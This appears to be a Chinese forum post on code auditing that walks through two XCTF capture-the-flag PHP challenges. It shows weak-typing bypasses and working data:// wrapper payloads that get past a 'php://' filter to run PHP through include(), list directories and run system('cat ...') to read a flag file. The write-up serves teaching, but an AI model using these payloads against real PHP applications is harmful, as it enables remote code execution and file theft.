概念
代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。 它是防御性编程范例的一个组成部分,它试图在软件发布之前减少错误。 C和C ++源代码是最常见的审计代码,因为许多高级语言(如Python)具有较少的潜在易受攻击的功能(例如,不检查边界的函数)。
对象
我们的代码审计对象包括并不限于对Windows和Linux系统环境下的以下语言进行审核:java、C、C#、ASP、PHP、JSP、.NET。
内容包括
1.前后台分离的运行架构
2.WEB服务的目录权限分类
3.认证会话与应用平台的结合
4.数据库的配置规范
5.SQL语句的编写规范
6WEB服务的权限配置
7.对抗爬虫引擎的处理措施
--------------------以上摘自:百度百科-----------------------
一、
分析以下源码
- <?php
- show_source(__FILE__);
- include("config.php");
- $a=@$_GET['a'];
- $b=@$_GET['b'];
- if($a==0 and $a){
- echo $flag1;
- }
- if(is_numeric($b)){
- exit();
- }
- if($b>1234){
- echo $flag2;
- }
- ?>
复制代码 关键代码:if($a==0 and $a)
要求,既要使a的值为零,又要使a的布尔值为真。很明显,用整形是行不通的。
即,利用php的弱类型。php中:值为'0'的变量与0比较会返回true。
构造payload:
得到回显,但是只有一半
继续分析下一段:
if(is_numeric($b))
if($b>1234)
is_numeric():判断是否为数字或为数字字符串。
还是不让直接给b赋值数值,那么继续使用弱类型。
'1236a==1236'为true
构造最终payload:
二、分析以下源码:
- <?php
- show_source(__FILE__);
- echo $_GET['hello'];
- $page=$_GET['page'];
- while (strstr($page, "php://")) {
- $page=str_replace("php://", "", $page);
- }
- include($page);
- ?>
复制代码关注这一段:
- while (strstr($page, "php://")) {
- $page=str_replace("php://", "", $page);
- }
复制代码即判断我们传入的page的值是否包含"php://",如果有则过滤为""
然后用include()函数运行page所指定的文件
显然,它只过滤了"php://",我们还可以用其他的参数
伪协议
payload1:得到路径
- ?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
复制代码
payload:2打印该路径下的文件内容
- ?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
复制代码flag文件近在眼前
最终payload:读取flag文件
- ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php"); ?>
复制代码但是尝试几次并没有发现回显,经查看原来在HTML源码中。
--题目来源:XCTF
|
使用道具 举报